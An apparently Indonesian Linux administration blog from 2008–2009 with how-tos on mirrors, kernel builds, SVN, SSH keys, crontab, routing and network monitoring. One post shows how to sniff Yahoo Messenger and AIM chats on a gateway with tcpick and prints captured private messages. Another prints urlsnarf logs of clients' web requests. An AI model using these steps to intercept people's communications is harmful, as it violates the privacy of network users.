.:My Black Corner:.

apt-get install wife with the following dependencies

2009-03-25T08:15:00.002+07:00

Repo Ibex

2008-11-12T10:13:00.000+07:00

ftp.itb.ac.id (ITB, INHERENT)
deb ftp://ftp.itb.ac.id/pub/ubuntu intrepid main restricted universe multiverse
deb ftp://ftp.itb.ac.id/pub/ubuntu intrepid-updates main restricted universe multiverse
deb ftp://ftp.itb.ac.id/pub/ubuntu intrepid-security main restricted universe multiverse
deb ftp://ftp.itb.ac.id/pub/ubuntu intrepid-backports main restricted universe multiverse
deb ftp://ftp.itb.ac.id/pub/ubuntu intrepid-proposed main restricted universe multiverse

kambing.ui.edu (UI, Telkom, Indosat, OpenIXP, INHERENT)
deb http://kambing.ui.edu/ubuntu intrepid main restricted universe multiverse
deb http://kambing.ui.edu/ubuntu intrepid-updates main restricted universe multiverse
deb http://kambing.ui.edu/ubuntu intrepid-security main restricted universe multiverse
deb http://kambing.ui.edu/ubuntu intrepid-backports main restricted universe multiverse
deb http://kambing.ui.edu/ubuntu intrepid-proposed main restricted universe multiverse
www.foss-id.web.id (Telkom)
deb http://dl2.foss-id.web.id/ubuntu intrepid main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu intrepid-updates main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu intrepid-security main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu intrepid-backports main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu intrepid-proposed main restricted universe multiverse

komo.vlsm.org
deb http://komo.vlsm.org/ubuntu intrepid main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu intrepid-updates main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu intrepid-security main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu intrepid-backports main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu intrepid-proposed main restricted universe multiverse
mirror.cbn.net.id (OpenIXP)
deb http://ubuntu.cbn.net.id/Ubuntu intrepid main restricted universe multiverse
deb http://ubuntu.cbn.net.id/Ubuntu intrepid-updates main restricted universe multiverse
deb http://ubuntu.cbn.net.id/Ubuntu intrepid-security main restricted universe multiverse
deb http://ubuntu.cbn.net.id/Ubuntu intrepid-backports main restricted universe multiverse
deb http://ubuntu.cbn.net.id/Ubuntu intrepid-proposed main restricted universe multiverse

indika.net.id (OpenIXP)
deb http://ubuntu.indika.net.id/ intrepid main restricted universe multiverse
deb http://ubuntu.indika.net.id/ intrepid-updates main restricted universe multiverse
deb http://ubuntu.indika.net.id/ intrepid-security main restricted universe multiverse
deb http://ubuntu.indika.net.id/ intrepid-backports main restricted universe multiverse
deb http://ubuntu.indika.net.id/ intrepid-proposed main restricted universe multiverse

Selamat hari raya Iedul Fitri 1429 H

2008-10-01T00:00:00.002+07:00

Semoga kita semua menjadi jiwa yang fitri teriring do'a:
Taqobalallahu minna wa minkum, taqobbal ya kariim, ja'alanallahu waiyakum minnal aidzin walfaidzin walmaghfurin.

.: dadhee - MyBlackCorner :.

Compile Kernel di Ubuntu Hardy

2008-09-11T13:14:00.001+07:00

Kali ini saya akan menjelaskan bagaimana cara meng-compile kernel. Seperti yang kita tau, kernel bawaan Hardy Heron adalah kernel 2.6.24-16-generic. Dalam artikel ini saya akan meng-compile dengan versi kernel yang lebih tinggi, yaitu kernel 2.6.26. Klik link ini mendapatkan kernel versi terbaru.

Yang kita butuhkan adalah,
Paket KERNEL beserta patch:
linux-2.6.26, 130708, 47MB.
patch-2.6.26, 130708, 7.3MB.

Aplikasi pendukung:
kernel-package
libncurses5-dev
fakeroot

Bagaimana memulainya? (saya lebih suka menggunakan user root)
root# cd /root
root# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.26.tar.bz2
root# wget http://www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.26.bz2

ekstrak file linux-2.6 ke dalam direktori /usr/local/src.
root# tar xfvj linux-2.6.26.tar.bz2 -C /usr/local/src
root# tar xfvj patch-2.6.26.bz2
root# cd /usr/local/src

lalu terapkan file patch-2.6 ke source kernel.
root# zcat patch-2.6.26.bz2 |patch -p1

masuk ke direktori /usr/local/src/linux-2.6.26/
root# cd /usr/local/src/linux-2.6.26/

Apabila kita menginginkan untuk sedikit merubah konfigurasi kernel yang akan kita compile, lakukan perintah ini:
root# make menuconfig

maka akan keluar menu seperti gambar dibawah ini:

Pada menu tersebut ada beberapa pilihan untuk mengaktifkan beberapa fitur yang kita inginkan (direkomendasikan untuk yang ahli). Apabila ragu, langkah ini bisa kita abaikan. Masih di dalam direktori direktori /usr/local/src/linux-2.6.26/, berikan perintah untuk meng-compile source kernel menjadi file DEB.
root# make-kpkg clean
root# make-kpkg -initrd --revision=terserah08 kernel_image kernel_headers modules_image

Tahap ini menghabiskan waktu yang relatif lama. Apabila tidak ada masalah, kita akan mendapatkan dua file pada direktori /usr/local/src.

linux-headers-2.6.26_terserah08_i386.deb
linux-image-2.6.26_terserah08_i386.deb

Setelah kita mendapatkan dua file DEB. Install kedua file tersebut:
root# cd /usr/local/src/
root# dpkg -i linux-headers-2.6.26_terserah08_i386.deb
root# dpkg -i linux-image-2.6.26_terserah08_i386.deb

Langkah terakhir yang harus dilakukan adalah reboot komputer. Dan pada saat komputer kembali start (pada menu grub), tekan ESC, kita harus edit bagian boot kernel yang baru dengan menyorotnya dan menekan huruf 'e' (edit). Pada baris kedua kembali tekan huruf 'e'. Dan tambahkan pada baris terakhir: 'profile', tanpa tanda kutip. Bagian yang dimaksud adalah:

kernel /vmlinuz-2.6.26 root=UUID=13d22657-599b-407f-a58f-e955925652e9 ro quiet splash profile

Tekan enter, lalu tekan 'b' (booting). Pada saat pertama kali boot dengan kernel baru, sistem akan melakukan indexing dan membuat configurasi baru, proses ini membutuhkan waktu yang relatif lama (untuk pertama kali). Untuk booting selanjutnya proses berjalan secara normal.

Defragmenting Disk di Linux?

2008-09-08T15:03:00.004+07:00

Hanya sekedar dokumentasi pribadi. Sebenarnya ini artikel udah lama sih.. Yah buat dokumentasi ga ada salahnya di posting disini. Intinya berikut ini adalah script untuk melakukan defragmenting disk di sistem Linux.

Buat satu script dengan nama terserah.pl.
root# nano terserah.pl

#!/usr/bin/perl -w
######
A W A L
######

# isi filenya sebagai berikut:

#this script search for frag on a fs
use strict;

#number of files
my $files = 0;
#number of fragment
my $fragments = 0;
#number of fragmented files
my $fragfiles = 0;

#search fs for all file
open (FILES, "find " . $ARGV[0] . " -xdev -type f -print0 |");

$/ = "\0";

while (defined (my $file = )) {
open (FRAG, "-|", "filefrag", $file);
my $res = ;
if ($res =~ m/.*:\s+(\d+) extents? found/) {
my $fragment = $1;
$fragments += $fragment;
if ($fragment > 1) {
$fragfiles++;
}
$files++;
} else {
print ("$res : not understand for $file.\n");
}
close (FRAG);
}
close (FILES);

print ( $fragfiles / $files * 100 . "% non contiguous files, " . $fragments / $files . " average fragments.\n");

######
A K H I R
######

Cara menjalankannya:
root# terserah.pl /home
5.4590570719603% non contiguous files, 1.2258064516129 average fragments.

Selamat mencoba, semoga bermanfaat.
http://forums.gentoo.org/viewtopic-p-3111409-highlight-.html#3111409

Dokumentasi (pribadi) Subversion

2008-08-13T10:37:00.005+07:00

Ini bukan tutorial, tapi dokumentasi pribadi saya dalam membuat server SVN. Hanya untuk mempermudah penggunaan perintah SVN.

File buat_projek_SVN
########
#!/bin/sh
echo "Masukan nama project SVN: "; read pro
svnadmin create /var/repositori/$pro
chmod -R 777 /var/repositori/$pro
trac-admin /var/www/trac/$pro initenv && chown -R www-data.svn /var/www/trac/$pro
echo "Pembuatan project svn selesai..."
echo "Jangan lupa tambahkan conf di /etc/apache2/sites-enabled/000-default"
echo "OK..."
########

File userSVN
########
echo "Masukan nama user baru: "; read user
echo "Masukan password yang diinginkan :"; read pass
/usr/bin/htpasswd -cb /etc/apache2/passwords.temp $user $pass
cat /etc/apache2/passwords.temp >> /etc/apache2/passwords
echo "Berhasil menambahkan user " $user
########

File 000-default
########
Location /repo/Transcript
DAV svn
SVNPath /var/repositori/Transcript
SVNAutoversioning On
AuthzSVNAccessFile /home/svn/svn-access.conf
Authtype Basic
AuthName "Subversion Repository for Transcript"
AuthUserFile /etc/apache2/passwords
Require valid-user
/Location

Location ~ "/trac/\w+/login"
AuthType Basic
AuthName "Subversion Repository"
AuthUserFile /etc/apache2/passwords
Require valid-user
/Location

Location /trac
SetHandler mod_python
PythonInterpreter main_interpreter
PythonHandler trac.web.modpython_frontend
PythonOption TracEnvParentDir /var/www/trac
PythonOption TracUriRoot /trac
Authtype Basic
AuthName "Trac of Subversion Repository Sapua Bandung"
AuthUserFile /etc/apache2/passwords.sapua
Require valid-user
/Location

Untuk otentikasi SVN
File /home/svn/svn-access.conf
########
[groups]
commit = user1, user2, user3
readonly = user4

[Transcript:/]
@commit = rw
@readonly = r
########

Installasi Multimedia Codec di Ubuntu

2008-07-17T16:41:00.004+07:00

Apa itu codec? Codec adalah suatu program yang bertujuan untuk meng-coder atau meng-decoder suatu data digital atau data stream. Codec adalah suatu gabungan kata yang berasal dari metoda algoritma 'compressor-decompressor', 'coder-decoder', atau 'compression/decompression'.

### Gutsy Gibbon (Ubuntu 7.10) ###
root# cat deb http://packages.medibuntu.org/ gutsy free non-free >> /etc/apt/sources.list

Selanjutnya menambahkan GPG key pada direktori /etc/apt.
root# wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- | sudo apt-key add -

Update source.list dengan menggunakan perintah:
root# apt-get update

Install paket library libdvdcss2, untuk dapat menjalankan jenis file DVD yang ter-enkripsi.
root# apt-get install libdvdcss2

Install juga w32codecs yang akan digunakan oleh player (Xine atau MPlayer).
root# apt-get install w32codecs

### Hardy Herron (Ubuntu 8.04) ###
Pastikan dua baris di bawah ini ada pada file /etc/apt/source.list.
root# nano /etc/apt/source.list
##cek dua baris berikut ini##
deb http://archive.ubuntu.com/ubuntu hardy universe multiverse
deb-src http://archive.ubuntu.com/ubuntu hardy universe multiverse

Selanjutnya download source list berikut ini:
root# wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d medibuntu.list

Update file source.list:
root# apt-get update

Tambahkan GPG key dengan menggunakan perintah:
root# apt-get install medibuntu-keyring

Untuk yang menggunakan i386 (32 bit)
root# apt-get install w32codecs libdvdcss2

Untuk yang menggunakan amd64 (64 bit)
root# apt-get install w64codecs libdvdcss2

Selamat mencoba...

GNU Media Streaming Server - Ubuntu Gutsy Gibbon

2008-07-17T10:42:00.002+07:00

Lagi-lagi artikel tentang streaming server, semoga tidak bosan :) Kali ini saya berbagi tentang aplikasi streaming media server menggunakan GNUMP3d. Berbeda dengan streaming menggunakan aplikasi shoutcast, proses install relatif lebih mudah menggunakan aplikasi ini.

Berikut cara install dengan Ubuntu 7.10:
Karena saya masih menggunakan Ubuntu 7.10 dan belum dist-upgrade ke hardy, maka aplikasi GNUMP3d ini masih versi 2.9 final.

Install gnump3
(lagi-lagi root)

root# apt-get install gnump3d

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
libdynamite0 libsynce0 libunshield0
Use 'apt-get autoremove' to remove them.
Suggested packages:
mp3-decoder xmms zinf
The following NEW packages will be installed:
gnump3d
0 upgraded, 1 newly installed, 0 to remove and 158 not upgraded.
Need to get 654kB of archives.
After unpacking 2707kB of additional disk space will be used.
Get:1 http://komo.vlsm.org gutsy/universe gnump3d 2.9.9.9final [654kB]
Fetched 654kB in 1m26s (7568B/s)
Preconfiguring packages ...
Selecting previously deselected package gnump3d.
(Reading database ... 129255 files and directories currently installed.)
Unpacking gnump3d (from .../gnump3d_2.9.9.9final_all.deb) ...
Setting up gnump3d (2.9.9.9final) ...

Setelah selesai di-install, maka yang perlu di perhatikan adalah letak dari direktori musik berada di /var/music/. Dan default port yang digunakan adalah port 8888. Apabila kita ingin merubah default setting, tinggal edit file konfigurasi /etc/gnump3d/gnump3 d.conf. Selain itu apabila system menggunakan aturan firewall, maka port 8888 wajib dibuka:

root# iptables -A INPUT -p TCP --dport 8888 -j ACCEPT

Untuk menjalankannya kita tinggal membuka web browser http://[ip_address]:8888/ . Apabila menggunakan browser Mozilla, kita dimudahkan dengan plugin MPlayer agar kita tidak perlu men-download file playlist recurse.m3u.

Selamat mencoba...

Meng-install Aplikasi Erlang-12.b di Ubuntu Gutsy Gibbon

2008-07-16T16:35:00.002+07:00

Ikuti langkah-langkah berikut ini:
root# echo "deb-src http://ftp.pl.debian.org/debian sid main" > /etc/apt/sources.list.d/debian.sid.list
root# gpg --keyserver subkeys.pgp.net --recv A70DAF536070D3A1
root# gpg --export --armor 6070D3A1 | apt-key add -
root# apt-get update
root# apt-get source erlang
root# cd erlang-12.b.*
root# dpkg-buildpackage -rfakeroot (Edan lama banget prosesnya, harap sabar)
root# cd ..
root# ls
erlang_12.b.3-dfsg-3_all.deb
erlang-dev_12.b.3-dfsg-3_i386.deb
erlang-nox_12.b.3-dfsg-3_i386.deb
erlang-base_12.b.3-dfsg-3_i386.deb
erlang-examples_12.b.3-dfsg-3_all.deb
erlang-src_12.b.3-dfsg-3_all.deb
erlang-base-hipe_12.b.3-dfsg-3_i386.deb
erlang-mode_12.b.3-dfsg-3_all.deb
erlang-x11_12.b.3-dfsg-3_i386.deb

root# dpkg -i erlang*.deb

Setelah selesai meng-install, hapus debian.sid.list.
root# rm /etc/apt/sources.list.d/debian.sid.list
root# apt-get update

Selamat mencoba..

Streaming Flash Menggunakan Flowplayer

2008-07-01T14:40:00.000+07:00

Merubah aturan waktu dengan menggunakan konsole

2008-06-27T11:12:00.001+07:00

Gara sakit tipes dan mengalami panas selama sebulan belakangan ini, ingatan saya agak berkurang. Di rumah sakit sempat me-remote server kantor gara-gara jam system ngaco. Saya dibuat berfikir keras ketika sempat ditanya: "Bagaimana merubah kondisi jam pada system hanya dengan menggunakan konsole?". Padahal syntax-nya begitu sederhana. Sebelum saya jatuh sakit lagi dan hilang ingatan, saya posting artikel soal ini. Minimal mengingatkan diri sendiri.

Aturan perintahnya
# date bbttjjTT

keterangan:
bb=bulan; tt=tanggal; jj=jam; TT=tahun.

Contoh: Misalkan hari ini tanggal 27 Juni 2008 pukul 11:00.
# date 062711002008

Penjelasan:
06=adalah bulan Juni adalah bulan ke-6 dalam hitungan tahun masehi.
27=adalah tanggal hari ini.
11=adalah jam dalam hitungan 24h.
00=adalah menit
2008=adalah tahun.

Tapi andaikata tidak mau repot, ada cara yang sebenarnya lebih gampang dalam mencocokan jam. Analogi, jika seseorang tidak tau jam berapa sekarang solusinya: tanya orang di sekitar yang menggunakan jam atau telepon ke nomor informasi waktu, 103. Kalau jam system bagaimana? Jawabannya, komputer yang terkoneksi langsung ke internet dapat menanyakan ke komputer yang menyediakan fasilitas time server. Contoh kali ini saya memakai fasilitas dari alamat: ntp.ui.edu .

Contoh: Buatlah satu script yang dapat di eksekusi pada saat komputer dinyalakan. Atau masukan baris perintah dibawah ini ke dalam file /etc/rc.local .

#isi perintahnya
ntpdate ntp.ui.edu

Selamat mencoba.

Hardy Release Party, Yogja

2008-05-09T17:13:00.000+07:00

HARDY RELEASE PARTY, Yogja

SUMBER:

Hardy Release Party, Bandung

2008-05-08T11:39:00.000+07:00

HARDY RELEASE PARTY, Bandung.

SUMBER:

Login SSH-server otomatis tanpa password

2008-04-16T09:56:00.003+07:00

Ada banyak cara bagaimana login ke server SSH tanpa membutuhkan password. Salah satunya adalah dengan mengaktifkan RSAAuthentication.

Berikut cara menggunakannya:
Anggap kita mempunyai dua server Linux yang sudah ter-install dengan baik, bersama aplikasi SSH. Komputer pertama saya beri nama SERV1 dan komputer kedua diberi nama SERV2. Misi yang kita lakukan kali ini adalah bagaimana kita dapat login melalui port SSH ke komputer SERV2.

Pada komputer SERV1
Buat private key RSA di komputer ini:
root SERV1# ssh-keygen -f megaloman -t rsa

Dengan catatan megaloman adalah user yang akan mengantarkan kita login SSH ke komputer SERV2. Tekan enter apabila diminta untuk mengisikan password yang akan dipakai.
Apabila telah selesai, maka kita akan mendapatkan dua file yaitu:
- megaloman, dan
- megaloman.pub.

Langkah berikutnya adalah menyalin file megaloman.pub ke direktori /root/.ssh/. pada komputer SERV2. Lakukan langkah ini dengan menggunakan fasilitas scp.

root SERV1# scp megaloman.pub root@[ip_address_komp_SERV2] :/root/.ssh/authorized_keys
password:

Masih berada di komputer SERV1, kita akan melakukan test login ke komputer SERV2.

root_SERV1# ssh -i megaloman root@[ip_address_komp_SERV2]

Kalau tidak ada masalah dengan langkah2 diatas, kita akan berhasil login ke SERV2 tanpa menggunakan password.
Selamat mencoba...

Sistem Penjadwalan dengan Crontab - Ubuntu Gutsy Gibbon

2008-03-25T12:26:00.007+07:00

Crontab adalah aplikasi untuk penjadwalan. Hal ini memungkinkan user melakukan eksekusi aplikasi atau script program sesuai dengan waktu yang telah ditentukan. Crontab menggunakan daemon Cron, konfigurasi ini terdapat pada masing-masing home direktori user, disimpan di /var/spool/cron/crontab. File crontab ada di direktori /etc/crontab. Crontab memiliki konfigurasi sebagai berikut:
Perhatikan diagram disamping, tiap bagian di pisah oleh spasi. Perintahnya dimulai dari:
Menit (0-59), Jam (0-23), Hari (1-31), Bulan (1-12), Minggu (0-6, 0=Minggu).

Editor Crontab
Sebelum memulai aplikasi crontab, kita harus menetapkan editor text apa yang akan digunakan untuk crontab. Kali ini saya menggunakan editor teks "nano", bagi yang lebih senang memakai "vi" atau "emacs" silahkan saja. Perintahnya adalah:
# export EDITOR=nano

Contoh kasus 1:
Saya ingin menjalankan /sbin/reboot tiap tanggal 1 dibulan Januari dan juga tiap hari senin pertama di bulan Januari, jam 14:30. Berarti script perintahnya:
# crontab -e
30 14 1 1 1 /sbin/reboot

Contoh kasus 2:
Saya ingin menjalankan script /sbin/reboot tiap tanggal 1 sampai tanggal 10 di bulan Maret, September, dan Desember, jam 00:30. Berarti perintahnya:
# crontab -e
30 00 * 3,9,12 1-10 /sbin/reboot

Contoh kasus 3:
Saya ingin menjalankan script /sbin/terserah/kamu/lah pada tanggal 1 setiap bulan pada jam 00:45. Perintahnya:
# crontab -e
45 00 1 * * /sbin/terserah/kamu/lah

Tambahan:

crontab -e
Meng-edit atau membuat file /etc/crontab.
crontab -l
Melihat isi file /etc/crontab.
crontab -r
Menghapus isi file /etc/crontab.

Konversi File .rpm ke .deb - Ubuntu 7.10

2008-03-25T11:26:00.001+07:00

Bagaimana cara meng-convert atau mengkonversi file dengan ekstensi RPM ke file dengan ekstensi DEB? Jawabannya: mudah, hanya dengan menggunakan aplikasi bernama 'Alien'. Ini berguna bagi user yang terbiasa menggunakan distro dari keluarga Redhat yang bermain distro keluarga Debian. Tentunya ini balik lagi ke kebutuhan dari user itu sendiri. Sebenarnya paket-paket dari repository Debian atau Ubuntu sudah lumayan lengkap. Tapi ada kalanya ada satu paket yang tidak ada di repository, dan RPM menyediakannya. Sekali lagi tergantung kebutuhan masing-masing user.

Cara install:
# apt-get install alien

Cara menjalankannya:
Meng-convert file .rpm ke file .deb.
# alien -k file_rpm_terserah.rpm

Untuk meng-install file .deb.
# dpkg -i file_deb_terserah.deb

Kita juga dapat langsung melakukan installasi file .rpm yang sudah di konversi ke .deb, dan langsung menghapus file .deb yang baru saya dibuat.
# alien -i file_rpm_terserah.rpm

Keterangan Parameter:
alien -d
untuk merubah paket menjadi .deb
alien -r
untuk merubah paket menjadi .rpm
alien -tgz
untuk merubah paket menjadi .tgz

Task Manager dengan HTOP

2008-03-25T10:55:00.000+07:00

Ini salah satu aplikasi monitoring system yang lumayan keren buat pengguna konsole atau Xterm. Setidaknya masih ada warna, daripada hitam-putih kayak tv jaman doeloe. Aplikasi ini mirip sama "task manager" punya Mikocok Windows. Pada aplikasi ini diperlihatkan 4 item utama: Penggunaan CPU, Memory, Swap File, dan mengetahui proses-proses yang sedang berjalan. Sebenarnya 'htop' ini pengembangan dari aplikasi sebelumnya yaitu 'top'. Hanya saja aplikasi 'top' masih menggunakan PID/Process ID untuk meng-kill aplikasi yang sedang berjalan. Untuk menghentikan aplikasi yang sedang berjalan menggunakan 'htop', kita tinggal sorot aplikasi itu dan tekan tombol fungsi F9.

Cara install:
# apt-get install htop
# htop

Sniffing Paket Data Yahoo Messenger

2008-03-24T14:41:00.007+07:00

Pada artikel kali ini saya membahas bagaimana cara mengendus (hehe.. kayak dogi aja) paket data Yahoo Messenger atau Y!M pada gateway Linux dan FreeBSD. Disini saya menggunakan distro Ubuntu 7.10 (Gutsy Gibbon). Sebenarnya banyak cara untuk melakukan sniffing paket data pada Y!M. Tapi ini salah satu cara yang saya temukan cukup handal dan ringan. Cara install dan cara menjalankannya:

Pada Ubuntu Gutsy 7.10
Installasi:
# apt-get install tcpick

Cara menjalankan:
Untuk mengendus paket data Yahoo Messenger kita harus meng-capture port mmcc/ port 5050.
# tcpick -i eth1 "port mmcc" -S -yP
Starting tcpick 0.2.1 at 2008-03-24 15:51 WIT
Timeout for connections is 600
tcpick: listening on eth1
setting filter: "port mmcc"
YMSG.............H..4..giant_step2003..1..giant_step2003..5..master_deta..14..aku trakir bakso sekenyang2nya..97..1..63..;0..64..0..206..2..337..
YMSG.....u..ZU.V....1..master_deta..5..dadhee..97..1..14..blm bisa pastikan, ntar deh dikasih tahu lagi..63..;0..64..0..1002..1..206..2..
YMSG.............TT.4..master_deta..1..master_deta..5..dadhee..97..1..14..blm bisa pastikan, ntar deh dikasih tahu lagi..63..;0..64..0..1002..1..206..2..10093..4...
YMSG.....>.K........49..TYPING..1..master_deta..14.. ..13..0..5..dadhee..1002..1..

Sebenarnya dari sisi tampilan output seperti ini tidak enak diliat. Apalagi kalau aktifitas chatting client yang menggunakan Y!M sedang banyak. Tapi tidak masalah apabila sudah terbiasa membaca log-log file history, atau bagi seorang code breaker seperti John Nash di film "Beautiful Mind".

Pada FreeBSD
Installasi:
# cd /usr/ports/net/tcpick/
# make install clean

Atau langsung download versi terbarunya di freshports.org

Cara menjalankan:
# /usr/local/bin/tcpick -i rl2 "port mmcc" -S -yP

TAMBAHAN:
Pada perintah capture paket data Yahoo Messenger kita juga dapat memberikan argumen seperti ini:
# tcpick -i eth1 -yP "host 192.168.0.210" | grep YMSG

Artinya kita meng-capture paket data pada interface eth1 (local) dengan ipaddress client 192.168.0.210 dan memiliki filter YMSG.

Untuk meng-capture AIM, kita dapat memberikan perintah seperti ini:
# tcpick -i eth1 "port aol" -S -h -yP

Artinya kita meng-capture paket data di interface eth1 (local) pada port AOL/ port 5190. Opsi -h berarti ditampilkan header.

Begitu juga jika kita ingin melihat permintaan paket data HTTP GET pada jaringan local.
# tcpick -i eth1 -yP | grep GET

Selamat mengintai...!

Gateway Monitoring / Packet Sniffing Tools

2008-03-24T09:02:00.009+07:00

Sebagai admin jaringan sudah selayaknya kita tau aktifitas jaringan kita. Bagaimana kondisi bandwidth? client sedang men-download file apa? mengirimkan paket data apa? Intinya segala sesuatu yang berhubungan dengan aktifitas jaringan client... Disini saya akan membahas aplikasi-aplikasi monitoring yang dapat dijalankan pada konsole.

Pada kasus ini, mesin gateway berjalan dengan dua interface jaringan, eth0 dan eth1. Dimana eth0 terhubung ke modem internet dan eth1 terhubung ke LAN switch (local). Kali ini saya menggunakan sistem operasi Ubuntu 7.10, Gutsy Gibbon.

BWM
BWM adalah salah satu aplikasi bandwidth monitoring sederhana, yang memperlihatkan statistik bandwidth dari interface jaringan.
# apt-get install bwm
# bwm

PKTSTAT
Aplikasi ini akan menampilkan secara berkala siapa saja yang sedang menggunakan bandwidth. Fitur dari aplikasi ini dapat menampilkan URL dari permintaan HTTP GET dan POST. Pktstat dapat menunjukan tiap 5 detik sekali perubahan. Saran dari saya lebih nyaman menggunakan aplikasi yang serupa tapi dengan fitur yang lebih lengkap dari aplikasi ini.
# apt-get install pktstat
# pktstat -i eth1 -n -t "port 80"

IFTOP
Aplikasi ini memiliki fitur men-generate bandwidth per host atau per koneksi dengan menggunakan grafik batang. Tampilan dari iftop ini juga bisa update otomatis secara berkala. Juga aplikasi ini mendukung libpcap-style filter, jadi kita dapat juga melihat jenis koneksi dari lalu-lintas jaringan.
Installasi:
# apt-get install iftop

Untuk menjalankan:
Perintah ini menampilkan bandwidth yang down oleh koneksi client dengan disertai tampilan port-port.
# iftop -i eth1 -p -P -n -N

Kita juga bisa juga menggunakan libpcap-style, jika ingin melihat hanya beberapa koneksi. Misal: Kita ingin melihat koneksi dari ipaddress 192.168.0.210, tapi tidak ingin melihat koneksi dengan ipaddress 192.168.0.11.
# iftop -i eth1 -p -P -n -N -f "net 192.168.0.210 and not net 192.168.0.11"

Atau juga melihat semua lalu-lintas dari port HTTP/80:
# iftop -i eth1 -p -P -n -N -f "port 80"

Kita bisa menambahkan atau mengganti filter ketika iftop sedang berjalan dengan menekan tombol 'f'.

IPTRAF
Apabila dibandingkan dengan 'pkstat' dan 'iftop', iptraf lebih mudah digunakan. Aplikasi ini juga dapat menampilkan lalu-lintas data dengan perhitungan byte, dan tentunya dari sisi tampilan lebih memanjakan user.
Installasi:
# apt-get install iptraf

Cara menjalankan:
# iptraf -i eth1

Kita juga dapat menggunakan beberapa argumen dengan banyak pilihan perintah.. Misal: kita menginginkan monitoring paket data berdasarkan urutan MAC address, tinggal kita pilih LAN Station Monitor.

TCPDUMP
Aplikasi ini bisa dikatakan salah satu yang paling tua. Banyak aplikasi sejenis yang menggunakan syntax port filter yang sama dengan aplikasi TCPDUMP ini (sejak menggunakan libpcap). Sebenarnya aplikasi ini apabila dijalankan sendiri memiliki keluaran yang susah dibaca, karena menggunakan karakter raw binary. I don't find this tool useful for quick and dirty jobs.
Installasi:
# apt-get install tcpdump

Cara menjalankan:
# tcpdump -i eth1 "port mmcc" -n -w -

VNSTAT
Hampir serupa dengan aplikasi monitoring 'bwm', hanya saja aplikasi ini cuma meng-counting bytes masuk dan bytes keluar (saja). Bisa dilihat juga di /proc/net/dev, dengan cara:
# cat /proc/net/dev

Jalankan vnstat pertama kali untuk database dapat meng-identifikasi kartu jaringan yang akan di monitor.
# vnstat -u -i eth0

Lalu buat satu baris script di /etc/crontab untuk dapat meng-update setiap 5 menit:
# nano /etc/crontab
*/5 * * * * root /usr/bin/vnstat -u -i eth0

# vnstat

URLSNARF
Aplikasi ini akan mengendus paket dan menampilkan permintaan HTTP dari client dalam bentuk log. Jalankan urlsnarf:
# urlsnarf -i eth0
dsl-238-248.melsa.net.id - - [24/Mar/2008:14:03:51 +0700] "GET http://www.saradbali.com/images/e-backbott.gif HTTP/1.1" - - "http://www.saradbali.com/edisi92/paruman3.htm" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"
dsl-238-248.melsa.net.id - - [24/Mar/2008:14:03:52 +0700] "GET http://kawansejati.ee.itb.ac.id/themes/garland/images/bg-navigation.png HTTP/1.1" - - "http://kawansejati.ee.itb.ac.id/themes/garland/style.css" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"
dsl-238-248.melsa.net.id - - [24/Mar/2008:14:03:53 +0700] "GET

#===== end =====#
Aplikasi-aplikasi monitoring diatas dapat dijalankan di konsole atau terminal mode. Bagaimana dengan aplikasi monitoring yang ber-basiskan GUI atau web? Masih banyak lagi aplikasi yang memiliki fitur yang tidak kalah lengkap dengan tampilan wah.
Seperti:
1. Wireshark
2. LANMAP
3. Darkstat
4. Etherape

Selamat mencoba..!

"Ilmu itu seperti pedang, banyak ilmu, tajam pedang itu. Tetapi kalau tidak tahu bagaimana cara menggunakan pedang.., pedang yang tajam pun tidak ada gunanya. Alih-alih menusuk diri kita sendiri."

Membuat PC Router dengan mesin Linux

2008-03-14T11:16:00.001+07:00

Ini salah satu artikel yang terlambat di-posting. Yaa, daripada tidak sama sekali, "better late than never". Disini saya akan memaparkan bagaimana membuat PC router sederhana dengan menggunakan Linux dan iptables. Sebenarnya relatif mudah dalam installasi kali ini, anggap saja system Linux sudah ter-install dengan baik. Dalam penerapan kali ini saya menggunakan distro Ubuntu 7.10.

Satu syarat apabila ingin membuat PC router Linux dengan menggunakan iptables, pastikan nilai dari ip_forward = 1. Untuk melihatnya gunakan perintah berikut:
# more /proc/sys/net/ipv4/ip_forward
0

Nilai default dari /proc/sys/net/ip_forward adalah 0. Ubah nilai tersebut menjadi 1.
# echo 1 > /proc/sys/net/ipv4/ip_forward

Contoh kasus, lihat gambar berikut:

Pada kasus ini, kita mempunyai misi bagaimana caranya meneruskan paket dari kedua client tersebut ke Internet (atau sebaliknya), dengan melewati gateway/PC router. Dengan menggunakan iptables kita hanya perlu satu baris script routing.
# iptables -t nat -A POSTROUTING -s 192.168.0.254/24 -d ! 192.168.0.254 -j MASQUERADE

Lalu coba sekarang dari komputer client melakukan ping:
$ ping www.detik.com
PING www.detik.com 56(84) bytes of data.
64 bytes from www.detik.com : icmp_seq=1 ttl=64 time=0.324 ms
64 bytes from www.detik.com : icmp_seq=2 ttl=64 time=0.222 ms

Apabila komputer client sudah dapat reply, maka artinya PC router kita sudah dapat digunakan. Oleh sebab itu kita harus membuat satu script routing, agar apabila PC router restart, script tersebut dapat langsung dijalankan.

Tambahkan 3 baris berikut pada file /etc/rc.local.
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -t nat -A POSTROUTING -s 192.168.0.254/24 -d ! 192.168.0.254 -j MASQUERADE

Untuk mencobanya, silahkan restart komputer router. Lalu lakukan ping ke alamat situs di internet melalui komputer client, ketika komputer router sudah nyala kembali dengan normal.

Tambahan:
Bila perlu kita tambahkan beberapa script firewalling dibawah 3 baris perintah tadi. Bedanya kita kali ini perlu membuat satu file yang isi file-nya seperti berikut ini:

Buat satu file dengan nama routing.
# touch /etc/init.d/routing
